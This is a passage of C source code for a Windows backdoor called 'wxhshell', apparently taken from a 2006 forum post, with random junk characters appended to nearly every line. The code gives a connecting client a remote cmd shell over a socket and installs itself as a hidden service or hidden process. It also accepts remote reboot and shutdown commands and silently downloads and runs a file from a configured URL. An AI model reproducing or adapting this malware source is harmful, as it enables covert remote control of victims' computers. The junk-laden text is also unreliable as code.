      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zU5Hb2a  
    break; u eb-2[=  
  } CON0E~"  
  // 安装 _wDS#t;!M  
  case 'i': { \Q$HXK  
    if(Install()) g(x9S'H3l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +JyUe    
    else k\r(=cex6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?knYY>Kzh1  
    break; /*)Tl   
    } %D}H|*IPu  
  // 卸载 *Ust[u  
  case 'r': { KP"%Rm`XN  
    if(Uninstall()) `_X;.U.Mv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1=}qBR#scY  
    else m6mwyom.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~g;   
    break; {MdLX.ycc)  
    } px''.8   
  // 显示 wxhshell 所在路径 ,YYVj{~2  
  case 'p': { 2{,n_w?Wy  
    char svExeFile[MAX_PATH]; <W)u{KS#TY  
    strcpy(svExeFile,"\n\r"); A=5epsB  
      strcat(svExeFile,ExeFile); q%YV$$c   
        send(wsh,svExeFile,strlen(svExeFile),0); R,2P3lv1v@  
    break; 0ZpFE&  
    } CO+/.^s7}S  
  // 重启 dP2irC%f8  
  case 'b': { TCKu,}s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,,L2(N  
    if(Boot(REBOOT)) VR{+f7:}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oFsM6+\/S  
    else { d(`AXyw  
    closesocket(wsh); '])2k@o@  
    ExitThread(0); O\KQl0*l\\  
    } F/c$v  
    break; sJx+8 -  
    } &[mZD,  
  // 关机 ./6<r OW  
  case 'd': { 0C%W&;r0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eJCjJ)  
    if(Boot(SHUTDOWN)) 6vKS".4C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o]n!(f<(*  
    else { nKr9#JebRC  
    closesocket(wsh); Fm_y&7._  
    ExitThread(0); FCj{AD  
    } &;TJ~r#K  
    break; ti5HrKIw  
    } F^$led1/F  
  // 获取shell MxQ?Sb%Gka  
  case 's': { K5t0L!6<+  
    CmdShell(wsh); !5@_j,lW(  
    closesocket(wsh); Os%n{_#8  
    ExitThread(0); VhGs/5  
    break; =DbY?Q<Q  
  } `/&SxQB<  
  // 退出 ;TiUpg</_3  
  case 'x': { pv!oz2w1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [%A4]QzWh  
    CloseIt(wsh); ?(6mVyIe  
    break; U:6W+p8  
    } 5+Mdh`  
  // 离开 \VMD$zZx  
  case 'q': { tMx}*l|]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q;Wj?8}  
    closesocket(wsh); [Qt?W gPj  
    WSACleanup(); pE.PX 8  
    exit(1); -5l6&Y   
    break; lfsqC};#\  
        } HL3XyP7  
  } qm*}U3K  
  } .9[45][FK  
%6%<?jZ  
  // 提示信息 W/ay.I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z=5qX2fy1*  
} m(iR|Zx  
  } S{Hx]\  
%#L]]-%  
  return; 2?C`4AR[2H  
} 3VnQnd E  
|%a4` w  
// shell模块句柄 /Ss7"*JLe  
int CmdShell(SOCKET sock) %h"z0@+  
{ d'6|:z9c  
STARTUPINFO si; ~rr 4ok  
ZeroMemory(&si,sizeof(si)); hG~reVNf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Y,7'0U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hJz):d>Im  
PROCESS_INFORMATION ProcessInfo; ?Ucu#UO  
char cmdline[]="cmd"; HBE.F&C88  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AGP("U'u  
  return 0; ^\:8w0Y^  
} "& Dx=Yf  
q_W0/Ki8  
// 自身启动模式 l&YKD,H};  
int StartFromService(void)  >YtdA  
{ $2D uB  
typedef struct R #]jSiS  
{ F(#rQ_z]  
  DWORD ExitStatus; ZPN roCK`  
  DWORD PebBaseAddress; i|)Su4Dw  
  DWORD AffinityMask; 6&Juv  
  DWORD BasePriority; JPM))4YDR  
  ULONG UniqueProcessId; L(>=BK*  
  ULONG InheritedFromUniqueProcessId; g @I6$Z  
}   PROCESS_BASIC_INFORMATION; dUznxZB  
Hy"x  
PROCNTQSIP NtQueryInformationProcess; ,fIe&zq  
M~*u;vA/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |IoB?^_h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; juF{}J2  
-F"Q EL#  
  HANDLE             hProcess; D'l5Zd  
  PROCESS_BASIC_INFORMATION pbi; YKbCdLQ  
)Rat0$6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8n BL\{'B[  
  if(NULL == hInst ) return 0; Ioy  
4Tc&IwR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zc |/{$>:W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CBQhIvq.d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ik|-L8  
7+TiyY]K  
  if (!NtQueryInformationProcess) return 0; S_T^G` [  
Sw`RBN[ yo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $uui:wU%Q  
  if(!hProcess) return 0; WnwhSr2  
WnUweSdW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aq+Y7IR_  
"jecsqCgK0  
  CloseHandle(hProcess); GsbAlNP  
+QM@VQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zOEY6lAwI  
if(hProcess==NULL) return 0; pu!dqF<  
e7fiGl  
HMODULE hMod; 3($"q]Y  
char procName[255]; H+}"q$  
unsigned long cbNeeded; @UBjq%z  
wfL-oi'5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8E&XbqP+  
u JR%0E7!  
  CloseHandle(hProcess); U`Jy!x2m  
.O*bILU  
if(strstr(procName,"services")) return 1; // 以服务启动 )4?x5#  
!}\4u tHY  
  return 0; // 注册表启动 /<CSVJ_r  
} @\oz4^  
v]% WH~>  
// 主模块 dLsn\m>  
int StartWxhshell(LPSTR lpCmdLine) xCzebG["  
{ _ 7PMmW@  
  SOCKET wsl; B()/.w?A  
BOOL val=TRUE; fW`&'!  
  int port=0; kY,U8a3!  
  struct sockaddr_in door; i`/+,<  
b5m=7;u*h  
  if(wscfg.ws_autoins) Install(); MC 0TaP  
#zrTY9m7  
port=atoi(lpCmdLine); e}@)z3Q<l  
cw&Hgjj2  
if(port<=0) port=wscfg.ws_port; .*$OQA  
;n=. {[,  
  WSADATA data; ~'5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MRr</o  
\ 6EKgC1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LAx4Xp/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1iL 'V-y  
  door.sin_family = AF_INET; G a;.a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -IlJ^Al4  
  door.sin_port = htons(port); ;TcvA  
/sR%]q |L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kVI#(uO  
closesocket(wsl); E$a ?LFa6  
return 1; (3[z%@I  
} 7@.cOB`y@3  
1[*UYcD  
  if(listen(wsl,2) == INVALID_SOCKET) { *'"T$ib  
closesocket(wsl); H4OhIxK  
return 1; ky>wOaTmN6  
} NVIK>cT6  
  Wxhshell(wsl); o ]Jv;Iy@?  
  WSACleanup(); s{ V*1$e~  
Q "oI])r  
return 0; UgB'[@McS  
2>} xhQJ  
} C^t(^9  
=S[yE]v^  
// 以NT服务方式启动 0Iud$Lu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PCd0 ?c   
{ KucV3-I  
DWORD   status = 0; VHOfaCE  
  DWORD   specificError = 0xfffffff; c[}(O H  
C ]Si|D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6m.k;'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~,D@8tv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GN#<yv$av  
  serviceStatus.dwWin32ExitCode     = 0; "I;C;}!  
  serviceStatus.dwServiceSpecificExitCode = 0; o01kYBD  
  serviceStatus.dwCheckPoint       = 0; >$gG/WD?KR  
  serviceStatus.dwWaitHint       = 0; ej&<GM|  
sDgXU@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IYWjH E+)d  
  if (hServiceStatusHandle==0) return; >Sa*`q3J  
Z') pf  
status = GetLastError(); M:Er_,E  
  if (status!=NO_ERROR) n}A\2bO  
{ . .QB~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sUl6hX4  
    serviceStatus.dwCheckPoint       = 0; s6 ( z  
    serviceStatus.dwWaitHint       = 0; ?#0snlah|  
    serviceStatus.dwWin32ExitCode     = status; C\_zdADUb%  
    serviceStatus.dwServiceSpecificExitCode = specificError; N_4eM,7t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  6,1b=2G  
    return; YL jHt\  
  } H@X oqgI  
_!xD8Di#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; < `qRA]  
  serviceStatus.dwCheckPoint       = 0; UX`]k{Mz  
  serviceStatus.dwWaitHint       = 0; EG'[`<*h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -]C c  
} gw+9x<e  
xy+QbD T  
// 处理NT服务事件,比如:启动、停止 "O+5R(XT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nmlPX7!{$  
{ q,<[hBri-  
switch(fdwControl)  O#nR>1h  
{ _ 7oV<  
case SERVICE_CONTROL_STOP: k<w(i k1bi  
  serviceStatus.dwWin32ExitCode = 0; 89{HJ9}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l=`L7| ^/d  
  serviceStatus.dwCheckPoint   = 0; @vgG1w  
  serviceStatus.dwWaitHint     = 0; uBg 8h{>  
  { /)N@M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?!w^`D0}o  
  } s )voII&  
  return; aI zv  
case SERVICE_CONTROL_PAUSE: c_{z(W"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F} J-gZl  
  break; /9Q3iV$I]  
case SERVICE_CONTROL_CONTINUE: nM=e]qH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y**|N8e  
  break; QH4wUU3X  
case SERVICE_CONTROL_INTERROGATE: a\kb^D=T  
  break; HQ!Xj .y  
}; puSLqouTM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C2]Kc{4  
} B;Nl~Y|\  
^Yr0@pE  
// 标准应用程序主函数 aRj>iQaddx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 50j OA#l[  
{ ArLvz5WV  
sKLX[l  
// 获取操作系统版本 IC/(R! Crj  
OsIsNt=GetOsVer(); +]>+a<x*%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 39 e;  
,p{`pma  
  // 从命令行安装 ~:;3uL s,8  
  if(strpbrk(lpCmdLine,"iI")) Install(); N)R[6u}  
PZ:u_*Vu`  
  // 下载执行文件 I^*'.z!4Q  
if(wscfg.ws_downexe) { 1`f_P$&Z_J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ocg"M Gb  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^s7,_!.Pq  
} !2Dy_U=  
|ifHSc.j<  
if(!OsIsNt) { sfp,Lq`  
// 如果时win9x,隐藏进程并且设置为注册表启动 1,2EhfX|s  
HideProc(); [{[N(g&d  
StartWxhshell(lpCmdLine); k0?ZYeHC  
} Ue5O9;y]u  
else QrD o|GtE  
  if(StartFromService()) t$& Qv)  
  // 以服务方式启动 ,lY aA5&I  
  StartServiceCtrlDispatcher(DispatchTable); Q+|{Bs)6i1  
else k>4qkigjc  
  // 普通方式启动 &0N<ofYX  
  StartWxhshell(lpCmdLine); ~+D*:7Y_  
E ?2O(  
return 0; rt]S\  
}
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只看该作者 1 发表于: 2006-10-10
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